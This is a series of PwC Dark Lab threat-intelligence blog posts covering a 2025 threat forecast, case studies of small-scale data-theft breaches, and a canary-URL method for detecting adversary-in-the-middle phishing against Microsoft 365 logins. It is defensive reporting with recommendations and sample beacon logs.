T1027Defense EvasionObfuscated Files or Information
T1562Defense EvasionImpair Defenses
T1112Defense EvasionModify Registry
T1140Defense EvasionDeobfuscate/Decode Files or Information
T1036Defense EvasionMasquerading
T1218Defense EvasionSystem Binary Proxy Execution
T1497Defense EvasionVirtualization/Sandbox Evasion
T1070Defense EvasionIndicator Removal on Host
T1222Defense EvasionFile and Directory Permissions Modification
T1564Defense EvasionHide Artifacts
T1003Credential AccessOS Credential Dumping
T1083DiscoveryFile and Directory Discovery
T1082DiscoverySystem Information Discovery
T1018DiscoveryRemote System Discovery
T1057DiscoveryProcess Discovery
T1135DiscoveryNetwork Share Discovery
T1016DiscoverySystem Network Configuration Discovery
T1046DiscoveryNetwork Service Discovery
T1069DiscoveryPermission Groups Discovery
T1087DiscoveryAccount Discovery
T1482DiscoveryDomain Trust Discovery
T1518DiscoverySoftware Discovery
T1021Lateral MovementRemote Services
T1210Lateral MovementExploitation of Remote Services
T1570Lateral MovementLateral Tool Transfer
T1005CollectionData from Local System
T1560CollectionArchive Collected Data
T1039CollectionData from Network Shared Drive
T1105Command and ControlIngress Tool Transfer
T1219Command and ControlRemote Access Software
T1071Command and ControlApplication Layer Protocol
T1041ExfiltrationExfiltration Over C2 Channel
T1048ExfiltrationExfiltration Over Alternative Protocol
T1567ExfiltrationExfiltration Over Web Service
T1486ImpactData Encrypted for Impact
T1490ImpactInhibit System Recovery
T1485ImpactData Destruction

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Forecasting the Cyber Threat Landscape: What to Expect in 2025

Posted on by darklabhk

2024 marked a pivotal shift in the cyber threat landscape, with threat actors increasingly experimental, yet intentional in their approaches to cyberattacks. Leveraging new and emerging technologies to weaponise trust and further lower the barrier to entry for cybercriminals, we anticipate no less for 2025. Based on PwC Dark Lab’s observations throughout 2024, we share our assessment of the potentially most prevalent threats and likely emerging trends for this year.

Identities will continue to be the primary target for threat actors, resulting in a gradual rise of infostealer infections and credential sales on the dark web

Hong Kong saw a 23% rise in infostealer infections in 2024, further reflected in our incident experience, as infostealers and leaked credentials persisted as a frequent root cause in cyberattacks. We assess this growth in infostealer usage is given the wider trend observed, whereby threat actors of varying motivations have increasingly shifted focus to identity-based attacks.

Through our ongoing dark web monitoring, we observed threat actors have become increasingly deliberate in their weaponisation of infostealers – intentionally targeting specific types of data during collection. This is as reflected in the uptick of network access sales for SSH, VPN, firewall, and cloud. We posit that credentials and database sales will remain a hot commodity within the dark web marketplaces given they allow for easy entry. Furthermore, we observed that data sales are not always need to be associated with an active data breach – as we repeatedly observe threat actors farming data from organisations’ exposed libraries, directories, publicly released information, as well as historically leaked data on the dark web – to publish as a single data dump on the dark web. We posit this repurposing and collating of already available information is performed by threat actors as a means to establish their reputation on dark web hacking forums.

As witnessed in our incident experience and open-source reporting, threat actors now target individuals’ personal devices with the intention to obtain access to enterprise environments. Thiswas most recently evidenced Cyberhaven’s Chrome extension security incident, whereby a phishing attack resulted in attacker takeover of their legitimate browser extension. Replacing the extension with a tampered, maliciously-embedded update designed to steal cookies and authenticated sessions, the extension was automatically dispensed to approximately 400,000 users.[1] In a previous incident, we observed that the victim organisation was compromised as a result of an infostealer deployed on their employee’s personal, unmanaged laptop, leading to the obtaining of valid corporate credentials and subsequent corporate compromise. We anticipate that threat actors will continue to adopt new means to distribute and weaponise infostealers at mass to collect valid identities to initiate their attacks.

Cybercriminals will exploit any means to deliver malware, with Search Engine Optimisation (SEO) being a good mode for compromise – bringing potential reputational damage

Search Engine Optimisation (SEO) plays a crucial role in today’s digital society, enabling visibility and accessibility of websites to seamlessly connect users with the most relevant information. As such, it’s no surprise that SEO has become a growing driver in malicious campaigns. Be it directing users to malicious sites impersonating legitimate brands, spreading of disinformation, or compromising legitimate websites to benefit from their SEO results, threat actors have continuously refined their means to weaponise, or ‘poison’, SEO.

SEO poisoning involves the manipulation of search engine results to direct users to harmful websites. This may be achieved via the use of popular search terms and keywords to increase their sites’ ranks, mimicking of legitimate websites, typosquatting, and/or leveraging cloaking and multiple redirection techniques. Recently, we observed public reports regarding the distribution of a novel multipurpose malware, PLAYFULGHOST, distributed as a trojanised version of trusted VPN applications via SEO poisoning techniques.[2] In other cases, we observe threat actors installing ‘SEO malware’ on compromised websites – designed to perform black hat SEO poisoning, whereby search engines display the attackers’ malicious webpages as though they were contained within the legitimate, compromised website.[3]

In mid-2024, PwC’s Dark Lab have observed a sharp uptick in phishing sites masquerading as online gambling operators. Targeted against users in Southeast Asia, we assessed this is likely due to regional crackdown on online gambling – as evidenced in Philippines’ ban of Philippine Offshore Gaming Operators (POGOs). A notable instigator for the ban on POGOs was the shift into illicit scamming activities by POGOs following the impact of COVID-19 (e.g., online fake shopping, cryptocurrency, and investment scams).[4] As we observe further crackdowns within the region, we anticipate a growth in SEO campaigns pushing online gambling phishing sites, preying on unsuspecting, or vulnerable users. Furthermore, this reflects on how threat actors continue to opportunistically weaponise current events to their benefit.

Growth in identity-based attacks highlights threat of domain abuse and need for stringent governance of top-level domains (TLDs)

The topic of internet hygiene has come to our attention amidst the significant uptick in the amount malicious sites impersonating local Hong Kong brands. Globally, the landscape of domain registration has become increasingly under question due to the ease and anonymity with which domains can be purchased, facilitated by the lack of regulations surrounding Know Your Customer (KYC) processes. This has fostered a favourable environment for malicious actors to disguise their infrastructure, gaining trust via ‘reputable’ top-level domains (TLDs). Whilst some TLDs like [.]xyz and [.]biz are widely regarded as ‘untrustworthy’, we observe commonly trusted TLDs [.]com and [.]top persist as the two most abused TLDs in 2024.[5]

DNS abuse can take many forms, though ICANN defines it as; botnet, malware delivery, phishing, pharming, and spam.[6] Distributed Denial of Service (DDoS) is an example of an ever-present DNS-related threat increasingly observed in 2024, with the motivations behind these attacks being hacktivist in nature and correlating with major geopolitical events (e.g., elections, ongoing tensions). We anticipate a continuation of geopolitical-motivated DDoS attacks in 2025, as threat actors recognise the success that may be achieved through these attacks; being reputational damage and heightened visibility towards their hacktivist cause. In Q2 2024, we uncovered an active campaign masquerading as multiple local brands including Mannings and Yuu using typosquatted domain names registered to [.]top, [.]shop, and [.]vip TLDs. This campaign revealed how customised attacks against individuals are becoming; targeting of personal data now spans beyond credential harvesting – further collecting a broader set of attributes such as the device you are using, user location, behaviour patterns, and even loyalty program details. As highlighted during our 2024 Hack A Day: Securing Identity, identity is now contextual – collecting various attributes or ‘unique identifiers’ to build your holistic identity-profile.

Through PwC Dark Lab’s ongoing efforts to safeguard Hong Kong citizens, we foresee a need for more structured and regular analysis of generic TLDs (gTLDs) – e.g., [.]com, [.]top and country code TLDs (ccTLDs) – e.g., [.]com.hk, [.]hk. To proactively identify and mitigate against these active threats, we anticipate that in the longer run, governance is necessary to enforce and ensure adherence on registrars. This includes intelligence-driven ongoing detection, establishing consistent definitions, uplifting KYC validations, and appropriate procedures to handle known-bad domains. With over 96% of Hong Kong’s population (aged 10 or above) using the Internet[7], it is crucial that registrars collaborate in the collective goal to secure the internet and disrupt threat actors’ infrastructure supply.

Sophistication of social engineering scams will amplify as threat actors ‘smish’, abuse legitimate services, and weaponise automation intelligence

As organisations worldwide have invested efforts into hardening their security posture, we observe threat actors adapting their attacks to find alternative means to bypass the heightened defences. SMS phishing (“smishing”) has become increasingly tailored in response to heightened user awareness. In some cases, we have observed smishing messages no longer containing links, only phone numbers – suggesting a preference to perform voice call phishing (“vishing”) as a means of increasing their chances of success. Beyond abuse of trusted identities, we observe threat actors weaponising legitimate services to disguise their malicious traffic behind legitimate sources.

In Q4 2024, we observed an unknown threat actor leverage multiple trusted domains in Hong Kong to front their Cobalt Strike Beacon C2.  Domain fronting is a technique used to disguise the true destination of Internet traffic by using different domain names in different layers of an HTTPS connection to route traffic through a legitimate and highly trusted domain. Similarly, we have observed the use of legitimate platforms such as Ticketmaster and Cloudflare to host phishing sites. In another context, our global counterparts have observed advanced persistent threat (APT) actors utilising TryCloudflare tunnels to stage malware and circumvent DNS filtering solutions. We project that threat actors will continue to experiment with different, legitimate platforms to find means to facilitate their attacks.

As observed since the emergence of ChatGPT in late 2022, generative artificial intelligence (AI) has enabled threat actors to craft highly convincing, tailored social engineering contents at scale. This was observed in 2024, as the U.S. Federal Bureau of Investigation (FBI) observed a surge in AI-driven financial fraud, leveraging GenAI to generate convincing phishing emails, social engineering scripts, and deepfake audio and video to deceive victims.[8] We predict that the application of AI by cybercriminals will expand beyond content generation to automate vulnerability exploitation, malware distribution and development, and AI-enabled ransomware. On the flipside, as the integration of AI into business processes rises, the need to secure these AI systems will continue to mount.

The ransomware landscape will continue to diversify, weaponising emerging technologies, trusted identities and services to increase their chances of success

2024 was a transformative year for the ransomware landscape, following continued disruptions of the LockBit Ransomware-as-a-Service (RaaS) operations by international law enforcement agencies, and BlackCat’s alleged exit scam. These occurrences resulted in heightened scepticism, posing an opportunity for new ransomware actors to enter the market. As new groups arise, we observe them increasingly experimental in their approaches to ransomware attacks – both through the Techniques, Tactics, and Procedures (TTPs) used and their malware offerings – diversifying the threat of ransomware.

We anticipate that 2025 will see a continuation of this trend, with an increased focus on weaponising trusted identities and legitimate services to increase their chances of success. Infostealers and Initial Access Brokers (“IABs”) will likely persist as a growing infiltration vector for ransomware affiliates, as we project increased targeting against systems likely to house sensitive information to enable rapid “smash and grab” attacks, such as cloud, Software-as-a-Service (SaaS), and file transfer platforms. Target systems for ransomware encryption are expected to further expand – as we already observed in mid-2024, with threat actors increasingly developing custom strains to target macOS and Network Attached Storage (NAS). This is evidenced in the recent discovery following the arrest of a LockBit developer that the group are working on tailored variants to target Proxmox and Nutanix; virtualisation service providers.[9]

Furthermore, we have observed discussion within the cybersecurity community regarding “quantum-proof ransomware”. As quantum computing develops, we hypothesise that ransomware operators will leverage the technology to harden their encryption processes and eliminate opportunities for victims to decrypt their data without the attacker-provided decryptors. On the other hand, we observe “harvest now, decrypt later” repeatedly referenced in these discussions, as researchers anticipate threat actors will weaponise quantum computing to enable mass decryption of previously stolen information. We further suspect that this may lead to attackers collecting and storing data from recent attacks even if unable to crack in the meantime. This poses a threat to existing victims of ransomware attacks, given the potential for ransomware actors to recover highly sensitive information and repurpose their past attack to extort victims and/or sell databases on the dark web.

Recommendations to Secure Your 2025

As we enter 2025, there is no telling with certainty what threats lie ahead. However, our experiences from 2024 have provided valuable lessons on how organisations can continue to strengthen their defences against ever-evolving threats.

  • Reduce your “low hanging fruit”. Monitor, minimise, and maintain visibility of your attack surface exposure to proactively identify and remediate potential security weaknesses that may expose you to external threats.
    • Enforce 24×7 dark web monitoring to swiftly detect and mitigate potential threats, ensuring early detection of compromised data, i.e. leaked credentials from infostealer dumps.
    • Extend 24×7 monitoring to social media listening, and brand reputation monitoring to identify mentions or impersonation attempts of your organisation, which may be indicative of potential or active targeting against your organisation.
    • Adopt an offensive approach to Threat and Vulnerability Management (TVM) to achieve real-time visibility of your attack surface through autonomous, rapid detection and remediation against emerging threats.[10] This further allows for the discovery of shadow IT, which may otherwise fall under the radar and pose threats to your organisation.
    • Periodically review your asset inventory, ensuring Internet-facing applications, exposed administrative ports, and non-production servers are intended to be publicly accessible, are appropriately configured, and segmented from your internal network. Ensure Internet-facing applications are regularly kept up-to-date, and prioritised in your patch management process.
    • Leverage canary tokens both on the external perimeter and internal environment to detect unauthorised attempts to access your environment and/or resources. Further, leverage the canary token detection alerts to provide insight into the types of threats actively targeting your organisation and what services and/or data they seek to access.[11]
  • Uplift identity security and access control. 2024 showed no signs of threat actors weaponising identities, and shed light on the importance of account housekeeping and appropriate access control provisioning.
    • Govern and provision appropriate access controls and permissions following the principle of least privilege for all users. Ensure access is conditional and restricted only to the resources necessary for a user to perform their job functions. This includes enforcement of strong authentication mechanisms, such as strong password policies, multi-factor authentication (MFA), role-based access controls (RBAC), and continuous behavioural-based monitoring to detect anomalous behaviour.
    • Review and uplift the process for managing credentials, particularly in the case of offboarding or unused accounts. This includes timely revocation of access (termination of account), password changes for any shared accounts the employee had access to, and ensuring the offboarded member’s MFA mechanism is no longer linked to any corporate accounts.
    • Log, audit, and monitor all privileged account sessions via real-time monitoring, facilitated by Privileged Access Account (PAM) and Privileged Account and Session Management (PASM) solutions.
  • Protect your “crown jewels”. As threat actors become increasingly intentional in the systems and data they target, it is crucial that organisations identity, classify, and secure the critical systems most likely to be targeted.
    • Leverage threat intelligence and continuous monitoring of your attack surface (e.g., canary tokens) to identify the systems actively being targeted by threat actors.
    • Prioritise systems hosting critical data (e.g., file transfer systems) with layered preventive and detective strategies to safeguard data (e.g., Data Loss Prevention (DLP)).Regularly perform risk assessments against critical systems to evaluate the current state of its cybersecurity posture, and harden accordingly.
    • Regularly perform risk assessments against critical systems to evaluate the current state of its cybersecurity posture, and harden accordingly.
    • Review and uplift the lifecycle of data, including considerations of;
      • Where data is being shared?
      • Who has access, including consideration of third-party risks posed by vendors’ access to internal data?
      • What internal policies are enforced to govern staff on the handling of data? For example, no sharing of internal data via external communication channels such as WhatsApp.
  • Manage your “unknown” risks. Unmanaged devices, shadow IT, and third-party risks continue to pose significant threats to organisations, introducing potential opportunities for threat actors to exploit for infiltration and/or access to your sensitive data.
    • For unmanaged devices;
      • Develop a Bring Your Own Device (BYOD) policy to govern the use of personal devices allowed to access the corporate network, including guidelines to enforce use of strong passwords and encryption. Regularly perform user awareness training to ensure understanding and adherence with guidelines and best practices.
      • Consider implementation of a Mobile Device Management (MDM) or Endpoint Management  solution to gain visibility and control over all devices connect to your network.
      • Isolate unmanaged devices from critical network segments to minimise potential damage and access to resources.
    • For shadow IT;
      • Ensure that only authorized personnel can create and publish webpages. Use role-based access controls to limit who can make changes to corporate web assets.
      • Consider use of a Content Management System (CMS) that requires approval from dedicate personnel(s) prior to webpage launch to ensure all webpages comply with security standards.
      •  Conduct regular audits to identify unauthorized webpages and monitor for any new web assets that appear without proper authorization. Use automated tools to scan for shadow IT activities.
    • For third-party risks;
      • Perform thorough due diligence to vet third-party vendors and fourth-party vendors through vendor risk management and ongoing monitoring. This includes assessment of their vulnerability management processes, security controls, and incident response capabilities.
      • Implement robust vendor management program that includes regular assessments, audits, and contractual agreements that define security requirements and expectations.
      • Restrict third-party access to specific network segments, enforcing the principle of least privilege alongside stringent access controls.
  • Counter the threat of DNS abuse. As threat actors increasingly abuse DNS infrastructure to enhance the capabilities of their attacks, it is crucial that organisations and registrars maintain awareness of the latest threats.
    • For individuals and organisations; maintain awareness of the threat of DNS abuse, including visibility of which registrars should be perceived as higher-risk, and continuous tracking of DNS-related threats.
    • For registrars, we recommend reviewing and uplifting the Know Your Customer (KYC) process, and establishing continuous monitoring to proactively flag DNS abuse. Monitoring would cover DNS/WHOIS data, combined with community reports of suspicious domains (e.g., via VirusTotal, URLScan, etc.).
    • For ICANN, we recommend to lead the industry; establish and enforce the governance and security key risk indicators (KRIs) on whether registrars are in compliance; what are the penalties; what are the trends of threat actors, and how the registrars and organisations should detect, respond, and recover.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Petty Thefts in Cybersecurity

Posted on by darklabhk

The term “data breach” has been engrained into the memories of board level executives to security engineers in the last few years. Typically referring to confidential or sensitive information being compromised by threat actors, we associate the term with all-out intrusions – from initial access from an exposed perimeter, to post-compromise activities aimed at facilitating the end goal of data exfiltration, often prior to ransomware deployment.

However, this trend is shifting. PwC’s Dark Lab describes an alarming trend of data breaches associated with a subset of cyberattacks targeting data platforms and web applications. We responded to multiple local incidents over the past few months in which less sophisticated threat actors operate on a smaller, yet impactful scale – such as the unauthorised access to a single system – to exfiltrate data and post on the dark web for financial gain. This still achieved significant reputation and legal implications due to the sensitive nature of the data, and aligns with our 2024 trends in which we observe independence from traditional Ransomware-as-a-Service (RaaS) groups and lowering of accessibility for threat actors to enter the cybercrime market.

A shift in focus – speed valued with single extortion the endgame

PwC’s Dark Lab monitors social media, cybercrime forums, ransomware leak sites, and various open-sources of threat intelligence. These data points not only give us good insight on the threat actors’ tactics, techniques and procedures (“TTPs”), but more importantly their behaviours from holistic view.

While in past years most of these would take form of a listing of the victim on a ransomware leak site, we now see an increasing shift to data being published in cybercriminal forums for low prices or even free to ‘boost’ threat actors’ reputation. Performed by threat actors we categorise as “commodity criminals”, stolen data can take multiple forms; ranging from a full dump of structured data from a database, to an excel spreadsheet with customer data, or purely a CSV file with user information – either leaked for free or offered for sale.

Less sophisticated than their cybercriminal counterparts, commodity criminals have carved a niche for themselves in performing “smash and grab” or “petty theft” attacks; exfiltrating sensitive information and listing on the dark web at pace. Whilst these threat actors and their attacks are not new, we assessed this trend of increasing “petty thefts” is aligned with our hypotheses from our 2024 Cyber Threat Landscape blog post.[1]

Firstly, we observe an expansion of the vulnerability “classes” exploited for initial access beyond Common Vulnerabilities and Exposures (CVEs) to misconfigurations, exposed administrative portals, and unintended exposure of remote services. Secondly, focusing on the RaaS landscape, we observe an increase in the crowdsourcing of efforts by ransomware affiliates; leveraging the specialisation of commodity criminals (e.g., Initial Access Brokers) to accelerate the speed and complexity of their attacks. Thirdly, the continuous shift to identity-based attacks has led to increasing demand for network access sales to expedite intrusions. We reference two recent incident response cases from 2024 to exemplify such “petty thefts”.

Case Study Number 1: Intrusion Through Exposed Credentials

Dark Lab recently responded to a significant data breach incident, involving the extraction of data from a public-facing admin portal of the victim’s Content Management System (CMS). The CMS served as the maintenance portal for the victim’s third-party development vendor. However, the customisation for business operations also introduced a number of significant vulnerabilities, including sensitive directory and configuration files exposure.

Inadequate security controls such as the lack of multi-factor authentication(MFA) or geo-fencing, enabled the threat actor to access and export the data from the CMS, including the source code and backup copies of database from the backend components. Although the attack did not result in any disruption of the victim’s operations, the threat actor published the compromised data for sale on a dark web hacking forum a few days after the attack.

Our investigation revealed that the end-to-end attack had completed in under an hour, with minimal interactions with the website by the threat actor, apart from the data export, and without the deployment of malware, or exploitation of vulnerabilities. We further supported the victim to put in place security controls including MFA and geofencing, and formulate a strategic approach to detect anomalies and deviation in access patterns specific to the CMS.

Case Study Number 2: Information Stealer Leaks Administrative Credentials of Web Application

Non-Profit Organisations (NGOs) are no stranger to falling victim to data breaches. In this incident, PwC responded to an incident whereby a threat actor gained initial access to the learning platform of a local NGO. We assessed with moderate confidence that the threat actor gained access via the use of leaked credentials, due to a lack of evidence suggesting activities such as brute-force or vulnerability exploitation.

During our investigation, we discovered the root cause to stem from the personal computer of a former employee of the victim, which had been compromised in late 2023 by the Lumma infostealer. The capabilities of the malware to extract stored credentials from browsers led to the leakage of the corporate credentials required for the initial access to the learning platform.

Lumma infostealer is a subscription-based Malware-as-a-Service (MaaS) offering that has been available since 2022, whilst the number of sightings of this malware being distributed on the dark web forum has been seen to be rising.[2] Cybercriminals leverage this malicious software to extract sensitive information for direct profit (e.g., network access sales), while others might choose to utilise the credentials for intrusions.

Forensic evidence suggests that whilst the leaked credentials were originally circulated on dark web forums in late 2023, they were only weaponised by the threat actor in mid-2024. Upon accessing one of the victim’s externally-facing servers using the valid account, the threat actor subsequently exploited a vulnerability to deploy a webshell to issue commands to the underlying system, as well as establishing a reverse shell for full, remote access. No notable further actions were observed; instead, the threat actor used the built-in export function of the learning platform to download user data including personal identifiable information (“PII”), all within 2.5 hours.

The information was posted for sale on a dark web forum shortly after the incident. Although there is no evidence connecting the threat actor with the sale, the format and content on the available sample data led us to assess that the data had originated from the learning platform. This incident showcases a prime example of a low-level capability threat actor causing a high impact attack.

Cybercriminal Market; A Wealth of (Malicious) Opportunity

The Cybercrime-as-a-Service (CaaS) market is an ever-growing industry of cybercriminals offering their malicious tools, techniques, and services to other cybercriminals who may not have the technical expertise to carry out sophisticated attacks on their own; or alternatively preferring to outsource portions of their attacks to focus efforts on achieving their objective. Through our continuous monitoring the CaaS ecosystem, we observe a notable uptick in the selling of data across various dark web forums and instant messaging channels. In March 2024 alone, 299+ million data records were compromised – a 58% increase from the prior month, and a further 613% year-on-year increase of data records compromised by threat actors.[3]

Whilst ransomware actors are not typically observed to frequent cybercrime forums, we observe ransomware groups broadening their means to achieve financial gain – particularly as the rate of victims obliging with ransom demands continues to dwindle. This is seen in the uprise of ransomware groups such as LockBit, Stormous, and Everest advertising network access sales on their dedicated leak site blogs, Telegram channels, as well as data leak sites.[4]

2023 saw the closure of multiple cybercriminal marketplaces, such as the law enforcement takedown of the notorious Genesis Market[5], voluntary closure of the TOR Market, and suspected ‘exit scams’ of Tor2Door[6] and Incognito[7]. As with all things, as a one door closes, another opens – new marketplaces emerge, existing ‘underdog’ marketplaces rise in popularity, and threat actors continue to innovate in their means of selling data.

Implications of a Data Breach

As the cybercriminal ecosystem evolves and the rise of “smash and grab” attacks intensify, it is crucial that organisations enhance their cyber resilience to defend against these not so “petty” thefts. This is evidenced in the average cost of a data breach being USD 4.88 million in 2023 – encapsulating the cost of operational downtime, loss of customer base, and cost of post-breach actions to enhance cyber resilience.[8] In the case of petty thefts, the most “immediate” cost acknowledged is that on an organisation’s reputation. Though, it is crucial to consider the legal and compliance consequences of such breaches.

Focusing locally, the June 2023 updates to the Hong Kong PCPD’s “Guidance on Data Breach Handling and Data Breach Notifications” have reinforced the severity in which data breaches should be treated. Whilst not mandated, the guideline sets a benchmark for the Personal Data (Privacy) Ordinance (PDPO) to determine if organisations subject to data breaches have met compliance requirements. This reiterates the sheer impact of data breaches, and the need for organisations to remain vigilant against threats of varying intents and capability.

Conclusion

While large cyberattacks shifts focus to the strategies in holistic defence, we observed tactics by less sophisticated cybercriminals to a simple yet effective means to impact company’s reputation and trust. Based on our observation in threat intelligence and dark web intelligence, this trend will likely continue with attacks of smaller scales becoming a threat to be considered. Remaining vigilant and adaptable in the face of evolving cyber threats is essential for companies of all sizes:

  • Widen the scope to monitor and minimise your attack surface to proactively identify and remediate potential entry-points. This should include;
    • Enforce 24×7 dark web monitoring, social media listening, and brand reputation monitoring to identify mentions or impersonation attempts of your organisation, which may be indicative of potential or active targeting against your organisation.
    • Adopt an offensive approach to threat and vulnerability management to achieve real-time visibility of your attack surface through autonomous, rapid  detection and remediation against emerging threats.[9]
    • Establish a structured process to attack surface management through stringent asset inventory management. This includes the discovery of Internet-facing assets (including on-premise and potentially, third-party-hosted assets), identification of the assets hosting critical data, and assessment and subsequent uplifting of the current security posture of these critical systems.
    • Leverage bug bounty programs to crowdsource the expertise of ethical hackers to proactively identify otherwise unknown vulnerabilities or security weaknesses that could otherwise expose you to potential exploitation by malicious actors.

  • Strengthen identity security and access control. Our lessons learnt from case study two highlighted the importance of account housekeeping for unused accounts, particularly those assigned privileged access rights.
    • Review and uplift the process for managing credentials, particularly in the case of offboarding or unused accounts. This includes timely revocation of access (termination of account), password changes for any shared accounts the employee had access to, and ensuring the offboarded member’s multi-factor authentication (MFA) mechanism is no longer linked to any corporate accounts.Log, audit, and monitor all privileged account sessions via real-time monitoring, facilitated by Privileged Access Account (PAM) and Privileged Account and Session Management (PASM) solutions.

  • Consider the role of cybersecurity in safeguarding data security. As the cybercriminal landscape shifts focus to data exfiltration and extortion, it is crucial to consider the interconnectedness between data privacy and the cyber threat landscape.
    • Leverage threat intelligence and continuous monitoring of your attack surface to the critical data and systems hosting them, to assess systems and datasets with a heightened threat of targeting by malicious actors.
    • Prioritise these systems hosting critical data with layered preventive and defensive protections to safeguard data (e.g., Data Loss Prevention (DLP).
    • Conduct regular risk assessments against critical systems to evaluate the current state of your cybersecurity posture.
    • Review and uplift the lifecycle of data, including considerations of;
      • Where data is being shared?
      • Who has access, including consideration of third-party risks posed by vendors’ access to internal data?
      • What internal policies are enforced to govern staff on the handling of data? For example, no sharing of internal data via external communication channels such as WhatsApp.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Tracking the proxy: a canary-based approach to locate users from Adversary-in-the-Middle Phishing

Posted on by darklabhk

As we step through a busy season of ransomware, financial scams involving deepfake, and sophisticated phishing campaigns, we continue to witness campaigns targeting enterprise users with Adversary-in-the-Middle (AiTM) attacks. As discussed in our previous blog post[1], AiTM leverages proxy-based toolkits such as Evilginx and EvilProxy. This technique has proven extremely effective, even in our red team assignments, in capturing credentials, and authenticated sessions.

In this article, we explore a use case in Microsoft 365, in which a feature has allowed opportunities to build a canary-based detection mechanism in an unconventional way. Inspired by the effectiveness of bug bounty programs in identifying vulnerabilities, this strategy aims to locate and mitigate the risks associated with AiTM attacks.

Understanding Adversary-in-the-Middle Attacks

Traditionally, in combating phishing and scams, our approach to protecting accounts in Microsoft 365 has revolved around the use of strong credentials and multi-factor authentication (MFA). These proved mostly effective against password brute-force and credential harvesting with fake phishing sites. Coupling this with new solutions such as Microsoft’s Intune or Mobile Device Management (MDM) applications, threat actors need to explore new ways of gaining access to their victims’ Microsoft 365.

AiTM attacks have proven to be extremely effective choice of technique leveraged by cybercriminals. We have previously covered use cases observed in phishing campaigns targeting our clients in Hong Kong, Macau, and in the region. This is because, unlike traditional phishing techniques, AiTM captures both the victims’ passwords, as well as valid login sessions cookie – another form of valid credentials. Threat actors have also explored new ways of using the compromised identities, not just to access confidential data from the victim’s mailbox, but also the data files on OneDrive and SharePoint.

From a defender’s perspective, it is difficult to identify individuals who has fallen victim to this kind of technique as, unlike traditional phishing, the victim is engaged in an interactive flow, supplying both credentials and any multi-factor authentication. The phishing site acts as an intermediatory internet reverse proxy, completing the authentication on the victim’s behalf and, capturing the materials in between. The diagram below illustrates a complete flow of how a threat actor can compromise the victim’s account.

Figure 1: Typical compromise flow of an AiTM attack

In general, detection of a compromised user account would require heuristics approaches (e.g. Microsoft’s Risky IP Address, or Impossible Travel) or detection of specific threat-actor activities (e.g. New-InboxRule). These are very effective in identifying anomalies in interactions with the mailbox, prompting additional investigations and mitigations with the downside being, in our experience, a late detection where the threat actor might have taken actions or information with the victim’s account.

The Canary-Based Approach to Detection

For those experienced in cyber defense, canaries are a familiar tool used to provide detection opportunities against specific behaviors. They act like tripwires or indicators which are designed to stand out in attack scenarios. A prime example is “honey accounts” in Active Directory environment, where a failed attempt to log in to this decoy account should warrant immediate attention to identify the source for potential behavior in the environment.

How can we do the same in our use case in M365? Going back to our drawing board, the authentication process in both normal and AiTM attack scenario involves interaction with the official Azure login page. Earlier this year, security researchers at IronPeak identified a feature in Azure called “Company Branding” which can enable such a detection mechanism.

The reader can follow the original blog post here.[2]

Company Branding is a feature that allows Azure administrators to apply branding to their login page by setting company logos, brand colors, and more through customising a cascading style sheets (CSS) file. A user browsing the login page will load the corresponding components referencing the style sheets. It is then possible, by introducing a single-pixel web-beacon as a CSS component, to capture referred request to the beacon, and identify if a user is falling victim to a phishing site.

Figure 2: Canary-based detection via CSS component

Setting up canary-URL for detecting AiTM

The section below outlines sample steps to configure a canary-based detection for AiTM attack on Microsoft 365 platform. This is based on the research conducted by IronPeak team.

To begin, download a copy of the template CSS file available from Microsoft.[3] Add the custom reference canary URL to the CSS file template and upload to the sign-in page.

Figure 3: Addition of custom reference canary URL to CSS template

Access the “Company Branding” section of Microsoft Entra admin center. Click “Edit” for the default sign-in, or corresponding sign-in pages.

Figure 4: Edit Company Branding in Microsoft Entra admin center

Select the “Layout” tab and upload the customised CSS file under the “Custom CSS” section.

Figure 5: Add Custom CSS

The configuration will take effect during new login against M365 at the login page (e.g. https://login.microsoftonline.com).

Figure 6: Sample implementation of custom reference canary URL via CSS template

As a website is created in the detection site, a web server can be configured to capture the full request, including header values such as “Referrer”. Note that the existence of the requested file does not matter as we just needed the web service to capture the request. A sample set of logs is shown below.

47.39.x.x - - [03/Apr/2024:03:43:56 +0000] "GET /beacon.png HTTP/1.1" 404 197 "https://login.microsoftonline.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" "3.03"

174.102.x.x - - [03/Apr/2024:03:47:30 +0000] "GET /beacon.png HTTP/1.1" 404 197 "https://totally-not-phishing.site/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" "3.03"

185.240.x.x - - [03/Apr/2024:03:47:30 +0000] "GET /beacon.png HTTP/1.1" 404 197 "https://login.microsoftonline.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" "3.03"

The key point here is that the canary-URL is triggered when the user key in the email address i.e. the log is not indicative of an access session or credentials compromise. However, we can take steps to determine if an AiTM attack has taken place:

  • Determine if the URL specified in the “Referrer” field above exhibits behavior of an AiTM phishing portal
  • Review the Microsoft 365 logs to identify the actual user behind the IP address  
  • If a successful authentication has matched the logs, we can determine that the user account has been compromised : perform the necessary mitigations e.g. revoke sessions, credentials reset, inbox rule cleanup, etc.

Faring against advance phishing kits

While this canary URL is effective against open-source, proxy-based phishing framework (e.g. Evilginx), there are other phishing toolkits which take a different approach in displaying contents to the victim. One example is the more advanced Phishing-as-a-Service (PhaaS) platforms, such as “Caffeine” or “Tycoon 2FA”.

In our research, these phishing kits are well-designed to hide from public scanners behind Cloudflare or other anti-DDoS pages. During interaction, they also behave differently by displaying pre-loaded components and styles from the official Microsoft 365 login pages to the user, while leveraging embedded JavaScript as the API engine with Microsoft 365 in authentication. In other words, the victim is not interacting directly with the official Microsoft 365 login page and thus, the custom CSS files as well as the canary-URL will not be triggered.

An example of such a page is shown below.

Figure 7: Sample phishing site with pre-loaded components and styles, and embedded JavaScript

This seems like a bypass of the canary-URL detection, but not all hope is lost.

Since we are using canary-URL to collect data for every access to the official Microsoft 365, the resulting data set can be compared against the Azure sign-in log. The analysis of data will still allow isolation of IP addresses in login records that security analysts should further conduct review.

Figure 8: Sample detection via canary-URL

Conclusion

